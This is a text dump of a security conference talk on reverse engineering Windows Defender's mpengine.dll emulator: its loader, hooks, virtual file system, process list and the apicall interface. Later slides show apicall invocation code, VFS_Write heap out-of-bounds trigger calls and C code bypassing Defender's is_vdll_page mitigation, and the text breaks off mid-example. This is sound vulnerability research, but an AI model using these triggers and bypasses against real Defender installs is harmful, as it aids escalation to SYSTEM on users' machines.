● Huge AV market share - “8% of systems running Windows 7 and
Windows 8 are running Windows Defender and more than 50% of
Windows 10 devices”*
*windowsreport.com/windows-defender-enterprise-antivirus/
● Runs unsandboxed as NT AUTHORITY\SYSTEM
○ Exploit = initial RCE + privilege escalation + AV bypass
● Surprisingly easy for attackers to reach remotely
Windows’ built-in antivirus software:
●
Now the “Defender” name covers multiple mitigations and security
controls built into Windows
●
This presentation is about Windows Defender Antivirus, not Windows
Defender ATP, Application Guard, Exploit Guard, etc…
● Tavis and co. at P0 dropped some
awesome Defender bugs
● I had analyzed AVs before, but
never Windows Defender
● I reversed Defender’s JS engine for
~4 months, then got interested in
the Windows emulator
● My personal research side project
during winter 2017-2018: ~5
months of reversing, another
month documenting
Motivation
Target - mpengine.dll
mpam-fe.exe released monthly:
● mpengine.dll
“Microsoft Malware Protection Engine”
Also bundles 4 other binaries
● MPSigStub.exe
“Microsoft Malware Protection Signature Update Stub”
● mpasbase.vdm
● mpasdlta.vdm
● mpavbase.vdm
● mpavdlta.vdm
32 & 64-bit builds
mpengine.dll provides malware
scanning and detection capabilities -
other AV features and OS integration are
handled in Defender’s other components
My Prior Research:
Windows Defender’s JavaScript Engine
Presented at REcon Brussels (Belgium), February 2018
bit.ly/
2qio857
JS Engine bit.ly/2qio857
JS engine used for analysis of
potentially malicious code -
reversed from binary
JS Engine bit.ly/2qio857
JS engine used for analysis of
potentially malicious code -
reversed from binary
Custom loader / shell used for
dynamic experimentation - thanks
Rolf Rolles!
JS Engine bit.ly/2qio857
JS engine used for analysis of
potentially malicious code -
reversed from binary
Custom loader / shell used for
dynamic experimentation - thanks
Rolf Rolles!
AV instrumentation
callbacks
JS Engine bit.ly/2qio857
JS engine used for analysis of
potentially malicious code -
reversed from binary
Custom loader / shell used for
dynamic experimentation - thanks
Rolf Rolles!
AV instrumentation
callbacks
Security at the cost of
performance
Related Work
●
Only a handful of prior publications on binary
reversing of antivirus software
●
Lots of conference talks, whitepapers, and blogs on
antivirus evasion, including against emulators
○
AVLeak with fellow RPI researchers Jeremy Blackthorne,
Andrew Fasano, Patrick Biernat, and Dr. Bülent Yener - side
channel-based black box emulator fingerprinting
*AV industry companies have occasionally presented on
the design of their emulators at conferences. Industry
patents also often have interesting information about
AV internals.
●
As far as I know, there’s never been a
publication about reverse engineering
the internals of an AV emulator*
●
Tavis Ormandy’s Defender bugs from 2017
Outline
1. Introduction
a. Background
b. Introduction to Emulation
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Why Emulate?
Traditional AV model: scan files and look for
known malware signatures (file hashes,
sequences of bytes, file traits, etc…)
Why Emulate?
Traditional AV model: scan files and look for
known malware signatures (file hashes,
sequences of bytes, file traits, etc…)
Problem: signatures are easily evaded with
packed code, novel binaries, etc
Why Emulate?
Traditional AV model: scan files and look for
known malware signatures (file hashes,
sequences of bytes, file traits, etc…)
a.k.a:
● sandboxing
● heuristic analysis
● dynamic analysis
● detonation
● virtualization
Problem: signatures are easily evaded with
packed code, novel binaries, etc
Solution: run unknown binaries in a virtual
emulated environment - look for runtime
malicious behavior or known signatures
● Not a new idea, in use for at least 15 years
Emulation Overview
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
○
Time
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
○
Time
○
Number of instructions
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
○
Time
○
Number of instructions
○
Number of API calls
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
○
Time
○
Number of instructions
○
Number of API calls
○
Amount of memory used
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
○
Time
○
Number of instructions
○
Number of API calls
○
Amount of memory used
○
etc...
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Emulation Overview
● Load unknown potentially
malicious binary
● Begin running from entrypoint,
and run until termination
condition
○
Time
○
Number of instructions
○
Number of API calls
○
Amount of memory used
○
etc...
● Collect heuristic observations
about runtime behavior, look
for signatures in memory or
dropped to disk, etc...
CPU
Emulation
OS (Kernel)
Emulation
Persistent
System State
Malware Binary
AV Instrumentation
Other
Scanning
Engines
In-Emulator
OS Facilities
nt!PEB
Settings
mpengine.dll
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Static Analysis
● ~12 MB DLL
● ~30,000 functions
● IDA Pro
○ Patch analysis with BinDiff
● Microsoft publishes PDBs
Dynamic Analysis & Loader
“Repeated vs. single-round games in security”
Halvar Flake, BSides Zurich Keynote
AV-Specific Challenges:
●
Protected Process
○
Cannot debug, even as local admin
●
Introspection
●
Scanning on demand
●
Code reachability may be configuration /
heuristics dependent
Dynamic Analysis & Loader
“Repeated vs. single-round games in security”
Halvar Flake, BSides Zurich Keynote
AV-Specific Challenges:
●
Protected Process
○
Cannot debug, even as local admin
●
Introspection
●
Scanning on demand
●
Code reachability may be configuration /
heuristics dependent
Solution:
Custom loaders for
AV binaries
Tavis Ormandy’s loadlibrary git.io/fbp0X
● PE loader for Linux
○ Shim out implementations for Windows API imports
○ Only implements the bare minimum to get mpengine.dll running, not
a general purpose Windows emulator or Wine replacement
● mpclient tool exposes the main scanning interface
○ I built ~3k LoC of additional tooling on top of mpclient
mpclient git.io/fbp0X
Linux mpclient
Binary
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
WinAPI
Emulation
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
Emulator
WinAPI
Emulation
g_syscalls
OutputDebugStringA
WinExec
...
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
Emulator
WinAPI
Emulation
Malware Binary
MZ...
g_syscalls
OutputDebugStringA
WinExec
...
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
__rsignal
Emulator
WinAPI
Emulation
Malware Binary
MZ...
g_syscalls
OutputDebugStringA
WinExec
...
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
__rsignal
Emulator
WinAPI
Emulation
Malware Binary
MZ...
g_syscalls
OutputDebugStringA
WinExec
...
Scanning Engine
Selection
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
__rsignal
Emulator
WinAPI
Emulation
Malware Binary
MZ...
g_syscalls
OutputDebugStringA
WinExec
...
Scanning Engine
Selection
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
__rsignal
Emulator
WinAPI
Emulation
Threat Virus:
Win32/Virut.BN!dam identified.
Malware Binary
MZ...
g_syscalls
OutputDebugStringA
WinExec
...
Scanning Engine
Selection
Demo
Scanning with mpclient
Dynamic Analysis - Code Coverage
●
Getting an overview of what subsystems are being hit is
helpful in characterizing a scan or emulation session
○
Breakpoints are too granular
●
Emulator has no output other than malware identification
●
Lighthouse code coverage plugin for IDA Pro from Markus
Gaasedelen of Ret2 Systems / RPISEC
Halvar Flake’s SSTIC 2018 keynote
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
a. Startup
b. CPU Emulation
c. Instrumentation
d. Windows Emulation &
Environment
4. Vulnerability Research
5. Conclusion
Getting Emulated
● __rsignal function provides an entry
point into Defender’s scanning - give it a
buffer of data and it returns a malware
classification
● Defender uses emulation to analyze
executables it does not recognize with
other less expensive analyses
● Emulation results are cached - a given
binary will only be emulated once, even if
scanned multiple times
Emulator Initialization
●
Allocate memory
●
Initialize various objects and subsystems used
during emulation
●
Load the binary to be analyzed - relocate,
resolve imports, etc
●
Initialize virtual DLLs in the process memory
space
●
Heuristic observations about the binary are
recorded - section alignment, number of
imports, etc
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
a. Startup
b. CPU Emulation
c. Instrumentation
d. Windows Emulation &
Environment
4. Vulnerability Research
5. Conclusion
CPU Emulation
●
Support for many architectures
○
This presentation looks at x86 32-bit
●
Technically dynamic translation, not
“emulation”
○
Lift to IL, JIT compile to sanitized x86
●
Architecture-specific software emulation
functions handle unique or difficult to lift
instructions
●
The subsystem is incredibly complicated,
and could be a full talk in its own right
○
Not a primary focus of this research and the
subsystem I understand the least about
DT_platform_x86_16 = 0n0
DT_platform_x86_32 = 0n1
DT_platform_x86_64 = 0n2
DT_platform_emu_IL = 0n3
DT_platform_NETRPF = 0n4
DT_platform_NETEmu = 0n5
DT_platform_DTlib32 = 0n6
DT_platform_DTlib64 = 0n7
DT_platform_VMProtect = 0n8
DT_platform_ARM = 0n9
DT_platform_count = 0n10
*_2_IL Lifting
Individual architecture to IL lifting
Grab the bytes of opcode, determine
type, then emit IL accordingly
Example: Single-byte x86 push register
opcodes all map to type 0x13
x86_IL_translator::translate
run_IL_emulator
I did not observe this software IL emulator
being invoked during my research
●
Hypothesis: used for non-x86 host
systems, e.g., Windows on ARM?
eIL_ID_xor8 = 0n107
eIL_ID_xor16 = 0n108
eIL_ID_xor32 = 0n109
IL Emulation in Software
Emulator can run IL bytecode in software
IL-to-x86 JIT Translation
lea opcode = 0x8d
IL code can be translated to x86 and
executed, a basic block at a time
I observed this IL-to-x86 JIT being
exercised during research
Calls to esc[ape]
functions are JITted for
special handling of
unique instructions
Check out
MSFT’s
VB2005 paper
Architecture-Specific esc Handlers
Architecture-specific functions provide
handling for unique architectural events
and emulation of unique instructions
x86_common_context::emulate_CPUID
Architecture-specific software
emulation for x86 CPUID instruction
Code coverage provided by
Lighthouse
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
a. Startup
b. CPU Emulation
c. Instrumentation
d. Windows Emulation &
Environment
4. Vulnerability Research
5. Conclusion
Instrumenting mpengine
Problem: little visibility into engine
●
Coverage for the big picture, breakpoints for
detailed observation
Only output is malware detection
Threat Virus:
Win32/Virut.BN!dam identified.
Instrumenting mpengine
Problem: little visibility into engine
●
Coverage for the big picture, breakpoints for
detailed observation
Only output is malware detection
Threat Virus:
Win32/Virut.BN!dam identified.
Solution: a malware’s eye view
● mpengine.dll has functions that are
invoked when our malware calls certain
Windows APIs
● Create a binary to explore the AV from
inside - hook and reuse existing functions
to share that view with us on the outside
mpclient git.io/fbp0X
Linux mpclient
Binary
MpEngine.dll
IAT
__rsignal
Emulator
WinAPI
Emulation
Threat Virus:
Win32/Virut.BN!dam identified.
Malware Binary
MZ...
g_syscalls
OutputDebugStringA
WinExec
...
Scanning Engine
Selection
Modified mpclient - ~3k LoC added github.com/0xAlexei
Linux mpclient
Binary
MpEngine.dll
IAT
__rsignal
WinAPI
Emulation
g_syscalls
OutputDebugStringA
WinExec
...
Print to stdout
OutputDebugStringA hook
Other actions...
WinExec hook
Malware Binary
MZ...
Emulator
Scanning Engine
Selection
OutputDebugStringA Hook
Use existing functions in Defender to
interact with function parameters and
virtual memory
Mark - Thanks for the idea!
Hook the native function pointer that gets called when
OutputDebugStringA is called in-emulator
OutputDebugStringA
Hook
OutputDebugStringA
Hook
Declaration - void * for pe_vars_t *
OutputDebugStringA
Hook
Declaration - void * for pe_vars_t *
Local variable to
hold parameters -
same as
Parameters<1>
OutputDebugStringA
Hook
Declaration - void * for pe_vars_t *
Local variable to
hold parameters -
same as
Parameters<1>
Pull parameters off
of the virtual stack
by calling
Parameters<1>
function inside
mpengine.dll
Parameters are just
addresses within
the emulator’s
virtual memory
OutputDebugStringA
Hook
Declaration - void * for pe_vars_t *
Local variable to
hold parameters -
same as
Parameters<1>
Pull parameters off
of the virtual stack
by calling
Parameters<1>
function inside
mpengine.dll
Parameters are just
addresses within
the emulator’s
virtual memory
GetString calls
into
mpengine.dll
functions which
translate an
emulator virtual
memory address
(the parameter) into
a real pointer
OutputDebugStringA
Hook
Declaration - void * for pe_vars_t *
Local variable to
hold parameters -
same as
Parameters<1>
Pull parameters off
of the virtual stack
by calling
Parameters<1>
function inside
mpengine.dll
Parameters are just
addresses within
the emulator’s
virtual memory
GetString calls
into
mpengine.dll
functions which
translate an
emulator virtual
memory address
(the parameter) into
a real pointer
Now we can just print the string to stdout
Demo
Hooking
OutputDebugStringA
myapp.exe
Factors That Can Prevent Emulation:*
●
Simplicity / lack of code entropy
●
Linking against unsupported DLLs
●
Calling unsupported functions
●
Optimizations using complex instructions
●
Targeting overly modern Windows builds
Solutions:
●
Add in junk code
●
Strip down linkage to bare minimums
●
Disable all optimizations
●
Define your own entry point
●
Target old Windows versions
*These are problems for AV emulators in general in
my experience. Defender seems more flexible than
others, but I did still have to massage compiler
settings to get a consistently emulated binary
I/O communication with outside
the emulator by calling
OutputDebugStringA and
other hooked functions
Malware Binary
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
a. Startup
b. CPU Emulation
c. Instrumentation
d. Windows Emulation &
Environment
4. Vulnerability Research
5. Conclusion
Windows Emulation & Environment
1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Virtual File System
Contents
Dump file system contents with a
similar trick to the
OutputDebugStringA hook - just
pass void pointers to arbitrary data
● 1455 files on the 2/28/18 build
○ Whole FS can be dumped in a
second or two
● Mostly fake executables
● A handful of fake config files
● Various text “goat” files
● Lots of empty files
Demo
Dumping The File System
C:\\aaa_TouchMeNot_.txt
Fake Config Files
C:\\Mirc\mirc.ini
[chanfolder]
n0=#Blabla
n1=#End
C:\\Mirc\script.ini
[script]
; blabla
C:\\Windows\msdfmap.ini
[connect default]
Access=NoAccess
[sql default]
Sql=" "
[connect CustomerDatabase]
Access=ReadWrite
Connect="DSN=AdvWorks"
[sql CustomerById]
Sql="SELECT * FROM Customers WHERE CustomerID = ?"
[connect AuthorDatabase]
Access=ReadOnly
Connect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"
[userlist AuthorDatabase]
Administrator=ReadWrite
[sql AuthorById]
Sql="SELECT * FROM Authors WHERE au_id = ?"
Virtual Registry
Huge virtual registry with thousands of entries
1084 - svchost.exe
1268 - spoolsv.exe
1768 - explorer.exe
1796 - iexplore.exe
1800 - outlook.exe
1804 - msimn.exe
1808 - firefox.exe
1812 - icq.exe
1816 - yahoomessenger.exe
1820 - msnmsgr.exe
1824 - far.exe
1828 - trillian.exe
1832 - skype.exe
1836 - googletalk.exe
1840 - notepad.exe
1844 - wmplayer.exe
1848 - net.exe
1852 - spawned.exe
3904 - myapp.exe
0 - [System Process]
4 - System
356 - smss.exe
608 - csrss.exe
624 - winlogon.exe
676 - services.exe
680 - lsass.exe
700 - kav.exe
704 - avpcc.exe
708 - _avpm.exe
712 - avp32.exe
716 - avp.exe
720 - antivirus.exe
724 - fsav.exe
728 - norton.exe
732 - msmpeng.exe
736 - msmpsvc.exe
740 - mrt.exe
744 - outpost.exe
856 - svchost.exe
Processes
Various processes are
shown as running on the
system
These are not real running
processes, just names
returned in order to
present a realistic
execution environment to
malware
“myapp.exe” is the name
of the process under
emulation - PID varies in
different mpengine builds
Demo
Dumping The Process Listing
Windows Emulation & Environment
1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Windows API Emulation
Implemented just like the real Windows API - DLLs
●
Symbols indicate they are called “vdlls”
●
Present on disk and in memory in the emulator - like real
Windows
●
VDLLs are not present in mpengine.dll, must be
dynamically loaded from VDMs
Two types of Windows API functions:
●
Stay in usermode → stay in the emulator
●
Resolve to syscall → trap to native emulation
Reversing VDLLs
In-Emulator VDLL Emulations
Computer name is “HAL9TH”
● In-emulator emulations stay within the emulator
● Code is run within the dynamic translation system
● Some emulations stub out to hardcoded returns
Username is
“JohnDoe”
Stubbed Out Functions
Complex functions are stubbed out to
return hardcoded values or halt emulation
RPCRT4.DLL
mspaint.exe
NTOSKRNL.EXE
ws2_32.dll
Winsock library is uniquely full of
fingerprints - strings with “Mp” and
German websites
Windows Emulation & Environment
1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Native Emulation
●
Complex functions that cannot be handled in-emulator must be emulated in native code
●
Akin to usermode → kernel, or VM guest → host transitions
●
Emulator to native transition implemented with a custom hypercall instruction - apicall
0x0F 0xFF 0xF0 [4 byte immediate]
●
Stubs that apicall to various functions are included in VDLLs
Emulated VDLL: kernel32!
CopyFileWWorker
Native code: mpengine!KERNEL32_DLL_CopyFileWWorker
apicall
apicall
disassembly
provided by
an IDA
Processor
Extension
Module
g_syscalls
dt mpengine!esyscall_t
+0x0 proc : Ptr32 void
+0x4 encrc : Uint4B
apicall
instruction use
triggers
dispatch to
function
pointer in
g_syscalls
table
This is the table
we modify
when hooking
OutputDebug
StringA
kernel32!OutputDebugStringA
In-emulator VDLL code
kernel32!OutputDebugStringA
In-emulator VDLL code
kernel32!OutputDebugStringA
apicall
In-emulator VDLL code
Native emulation
function
Emulated VDLL Functions
ADVAPI32
RegCreateKeyExW
RegDeleteKeyW
RegDeleteValueW
RegEnumKeyExW
RegEnumValueW
RegOpenKeyExW
RegQueryInfoKeyW
RegQueryValueExW
RegSetValueExW
USER32
MessageBoxA
KERNEL32
CloseHandle
CopyFileWWorker
CreateDirectoryW
CreateFileMappingA
CreateProcessA
CreateToolhelp32Snapshot
ExitProcess
ExitThread
FlushFileBuffers
GetCommandLineA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetModuleFileNameA
GetModuleHandleA
GetProcAddress
GetThreadContext
GetTickCount
LoadLibraryW
MoveFileWWorker
MpAddToScanQueue
MpCreateMemoryAliasing
MpReportEvent
MpReportEventEx
MpReportEventW
MpSetSelectorBase
OpenProcess
OutputDebugStringA
ReadProcessMemory
RemoveDirectoryW
SetFileAttributesA
SetFileTime
Sleep
TerminateProcess
UnimplementedAPIStub
VirtualAlloc
VirtualFree
VirtualProtectEx
VirtualQuery
WinExec
WriteProcessMemory
Emulated ntdll.dll Functions
MpGetSelectorBase
MpUfsMetadataOp
NtCloseWorker
NtContinue
NtControlChannel
NtCreateEventWorker
NtCreateFileWorker
NtCreateMutantWorker
NtCreateSemaphoreWorker
NtCreateThreadWorker
NtDeleteFileWorker
NtDuplicateObjectWorker
NtGetContextThread
NtOpenEventWorker
NtOpenMutantWorker
NtOpenSemaphoreWorker
NtOpenThreadWorker
NtPulseEventWorker
NtQueryInformationFileWorker
NtQueryInformationThreadWorker
NtReadFileWorker
NtReleaseMutantWorker
NtReleaseSemaphoreWorker
NtResetEventWorker
NtResumeThreadWorker
NtSetContextThread
NtSetEventWorker
NtSetInformationFileWorker
NtSetLdtEntries
NtSuspendThreadWorker
NtTerminateThreadWorker
NtWaitForMultipleObjectsWorker_PostBlock
NtWaitForMultipleObjectsWorker_PreBlock
NtWriteFileWorker
ObjMgr_ValidateVFSHandle
ThrdMgr_GetCurrentThreadHandle
ThrdMgr_SaveTEB
ThrdMgr_SwitchThreads
VFS_CopyFile
VFS_DeleteFile
VFS_DeleteFileByHandle
VFS_FileExists
VFS_FindClose
VFS_FindFirstFile
VFS_FindNextFile
VFS_FlushViewOfFile
VFS_GetAttrib
VFS_GetHandle
VFS_GetLength
VFS_MapViewOfFile
VFS_MoveFile
VFS_Open
VFS_Read
VFS_SetAttrib
VFS_SetCurrentDir
VFS_SetLength
VFS_UnmapViewOfFile
VFS_Write
Native Emulation Functions
Native emulation functions all take
parameter pe_vars_t *, ~½mb
large struct containing entire
emulation session context
Native Emulation Functions
Native emulation functions all take
parameter pe_vars_t *, ~½mb
large struct containing entire
emulation session context
Templated Parameters functions
retrieve parameters to the function
from the emulated stack
Native Emulation Functions
Native emulation functions all take
parameter pe_vars_t *, ~½mb
large struct containing entire
emulation session context
Templated Parameters functions
retrieve parameters to the function
from the emulated stack
Return values, register state, CPU tick
count, etc, are managed through
various functions that manipulate
pe_vars_t
Interacting With Virtual Memory
mmap functions allow access to the emulated memory space
Interface similar to Unicorn Engine and other similar tools
Interacting With Virtual Memory
mmap functions allow access to the emulated memory space
Interface similar to Unicorn Engine and other similar tools
Wrapper functions around these functions make common operations easier
Windows Emulation & Environment
1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Windows Kernel Emulation
Windows kernel facilities are emulated
with native code
● Object Manager
● Process management
● File system
● Registry
● Synchronization primitives
Object Manager
● The Object Manager is an essential part of
the Windows Executive - provides kernel
mode resource management - processes,
files, registry keys, mutexes, etc
● Defender supports 5 types of objects: File,
Thread, Event, Mutant (Mutex), Semaphore
● Manages system state during emulation that
is persistent between native emulation API
calls
Object Manager Types
Objects are stored in a map,
tracked by pid and handle
Objects identify themselves by
C++ virtual method call, RTTI is
used to cast from
ObjectManager::Object to
specific subclasses
dt mpengine!ObjectManager::Object
+0x0 __VFN_table : Ptr32
+0x4 m_openCount : Uint4B
+0x8 m_isPersistent : Bool
+0x9 m_canDelete : Bool
+0xa m_signal : Bool
dt mpengine!
ObjectManager::FileObject
+0x0 __VFN_table : Ptr32
+0x4 m_openCount : Uint4B
+0x8 m_isPersistent : Bool
+0x9 m_canDelete : Bool
+0xa m_signal : Bool
+0xc m_fileHandle
: Uint4B
+0x10 m_accessMode
: Uint4B
+0x14 m_shareAccess: Uint4B
+0x18 m_cursor
: Uint4B
dt mpengine!ObjectManager::MutantObject
+0x0 __VFN_table : Ptr32
+0x4 m_openCount : Uint4B
+0x8 m_isPersistent : Bool
+0x9 m_canDelete : Bool
+0xa m_signal : Bool
+0xc m_ownerThrdId : Uint4B
+0x10 m_isAbandoned: Uint4B
+0x14 m_waitCount : Uint4B
5 types of object:
1. File
2. Thread
3. Event
4. Mutant (Mutex)
5. Semaphore
Stored in memory
as C++ objects
Object Manager Integration
The Object Manager manages persistent
system state during an emulation session
NTDLL_DLL_NtSetInformationFileWorker
NTDLL_DLL_NtOpenMutantWorker
Object Manager Integration
The Object Manager manages persistent
system state during an emulation session
NTDLL_DLL_NtSetInformationFileWorker
Current process handle is
emulated as 0x1234
NTDLL_DLL_NtOpenMutantWorker
VFS - Virtual File System
●
Native emulation functions are filed under NTDLL (but accessible
from multiple VDLLs via apicall stubs)
●
NTDLL_DLL_VFS_* functions do administrative work before
calling into internal VFS_* functions that actually engage with the
virtual file system, calling its methods to manipulate contents
●
NTDLL Nt* emulation functions that interact with the
file system call down into VFS_* functions after
checking / normalizing / sanitizing inputs
VFS-Specific Native Emulations
ObjMgr_ValidateVFSHandle
VFS_CopyFile
VFS_DeleteFile
VFS_DeleteFileByHandle
VFS_FileExists
VFS_FindClose
VFS_FindFirstFile
VFS_FindNextFile
VFS_FlushViewOfFile
VFS_GetAttrib
VFS_GetHandle
VFS_GetLength
VFS_MapViewOfFile
VFS_MoveFile
VFS_Open
VFS_Open
VFS_Read
VFS_SetAttrib
VFS_SetCurrentDir
VFS_SetLength
VFS_UnmapViewOfFile
VFS_Write
dt mpengine!pe_vars_t
...
+0x241e0 vfs : Ptr32 VirtualFS
+0x241e4 vfsState : Ptr32 VfsRunState
+0x241e8 vfsNumVFOs : Uint4B
+0x241ec vfsVFOSizeLimit : Uint4B
+0x241f0 vfsRecurseLimit : Uint4B
+0x241f4 vfsFlags : Uint4B
...
Windows Emulation & Environment
1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Defender Internal Functions
MpAddToScanQueue
Queue up a file (e.g., a dropped binary) for scanning
MpCreateMemoryAliasing
Alias memory in emulator
MpReportEvent, MpReportEvent{Ex,W}
Report malware behavior to inform heuristic detections
Mp{Get,Set}SelectorBase
Get/set segment registers (CS, DS, ES, etc)
MpUfsMetadataOp
Get/set metadata about the file being scanned
NtControlChannel
IOCTL-like administration for the AV engine
Internal administration and configuration functions accessible via apicall
MpReportEvent
Used to communicate
information about malware
binary actions with Defender’s
heuristic detection engine
MpReportEvent
MpReportEvent - AV Processes
Emulated process
information is stored
in a data structure in
the kernel32.dll
VDLL and presented
when enumerated
Processes types are grouped
by PID - processes for antivirus
software has 700 PIDs
700 - kav.exe
704 - avpcc.exe
708 - _avpm.exe
712 - avp32.exe
716 - avp.exe
720 - antivirus.exe
724 - fsav.exe
728 - norton.exe
732 - msmpeng.exe
736 - msmpsvc.exe
740 - mrt.exe
744 - outpost.exe
Calling TerminateProcess on an AV product
triggers an MpReportEvent call
1
set attribute set_static_unpacking
14
get arbitrary attribute substring
2
delete attribute store pea_disable_static_unpacking
15
set pe_vars_t->max_respawns value
3
get mpengine.dll version number
16
modify register state (?)
4
set attribute set_pea_enable_vmm_grow
17
set arbitrary attribute
5
set attribute set_pea_deep_analysis
18
load microcode
6
set attribute set_pea_hstr_exhaustive
19
set breakpoint
7
set attribute set_pea_aggressiveimport
20
retrieve get_icnt_inside_loop value
8
set attribute set_pea_skip_unimplemented_opc
21
some sort of domain name signature check
9
set attribute pea_skip_unimplemented_opc
22
set pe_vars_t->internalapis
10
set attribute set_pea_disable_apicall_limit
23+24
switch_to_net32_proc (.NET)
11
get arbitrary attribute
25
get arbitrary pe attribute by number
12
check if malware is packed with a given packer
26-31
unimplemented
13
set attribute pea_disable_seh_limit
32
scan_msil_by_base
NtControlChannel Options
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
a. Understanding P0’s Vulnerabilities
b. Bypassing Mitigations With apicall Abuse
c. Fuzzing
5. Conclusion
Tavis’ apicall Trick
DWORD MpApiCall(PCHAR Module, PCHAR ProcName, ...)
{
DWORD Result;
DWORD ApiCrc;
ApiCrc = crcstr(Module) ^ crcstr(ProcName);
_asm {
mov eax, dword ptr ApiCrc
mov [apicode], eax
mov ebx, esp
lea esp, ProcName
_emit 0x0f
; apicall opcode
_emit 0xff
; apicall opcode
_emit 0xf0
; apicall opcode
apicode:
_emit 0x00
; apicall immediate
_emit 0x00
; apicall immediate
_emit 0x00
; apicall immediate
_emit 0x00
; apicall immediate
mov esp, ebx
mov Result, eax
}
return Result;
}
● Build binary with a
rwx .text section,
generate apicall
instruction on the fly as
needed
● apicall instruction
triggers native emulation
functions from
malware .text section
with attacker controlled
Tavis’ NtControlChannel Bug
NtControlChannel(0x12,...)
Tavis’ NtControlChannel Bug
NtControlChannel(0x12,...)
Tavis’ NtControlChannel Bug
NtControlChannel(0x12,...)
count is user controlled
Tavis’ NtControlChannel Bug
NtControlChannel(0x12,...)
count is user controlled
Patched with max 0x1000 count check
Tavis’ VFS_Write Bug
VFS_Write(Handle, Buf, 0, 0xffffffff, 0);
VFS_Write(Handle, Buf, 0x7ff, 0x41414141, 0);
VFS_Write(
unsigned int hFile,
char * pBuffer,
unsigned int nBytesToWrite,
unsigned int nOffset,
unsigned int * pBytesWritten
);
Heap OOB r/w: buffer gets extended
to offset, but no space is allocated
for it. r/w at arbitrary offsets then
possible
Outline
1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
a. Understanding P0’s Vulnerabilities
b. Bypassing Mitigations With apicall Abuse
c. Fuzzing
5. Conclusion
Locking Down apicall
Can’t just trigger apicall from malware .text section or otherwise malware-created
memory (eg: rwx allocation) anymore
If apicall did not
come from a VDLL,
set a heuristic and
deny it
Proceed with
processing if
apicall is ok
is_vdll_page call added to __call_api_by_crc
in 6/20/2017 mpengine.dll build - is the apicall
instruction coming from a VDLL?
New AV heuristic trait added
Bypass
●
apicall stubs are located throughout
VDLLs
●
They can be located in memory and
called directly by malware, with attacker
controlled arguments
○
Passes is_vdll_page checks
Response from Microsoft: “We did indeed make
some changes to make this interface harder to
reach from the code we’re emulating -however,
that was never intended to be a trust boundary.
Accessing the internal APIs exposed to the
emulation code is not a security vulnerability...”
Bypass Example 1
VOID OutputDebugStringA_APICALL(PCHAR msg)
{
typedef VOID(*PODS)(PCHAR);
HMODULE k32base = LoadLibraryA(“kernel32.dll”);
PODS apicallODS = (PODS)((PBYTE)k32base + 0x16d4e);
apicallODS(msg);
}
Kernel32 base offset:
0x16d4e
Comes from kernel32
VDLL, so passes
is_vdll_page checks
OutputDebugStringA can be
normally hit from kernel32, so
this is ultimately just a unique way
of doing that
Bypass Example 2
VOID NtControlChannel_APICALL()
{
typedef VOID(*PNTCC)(DWORD, PVOID);
HMODULE k32base = LoadLibraryA(“kernel32.dll”);
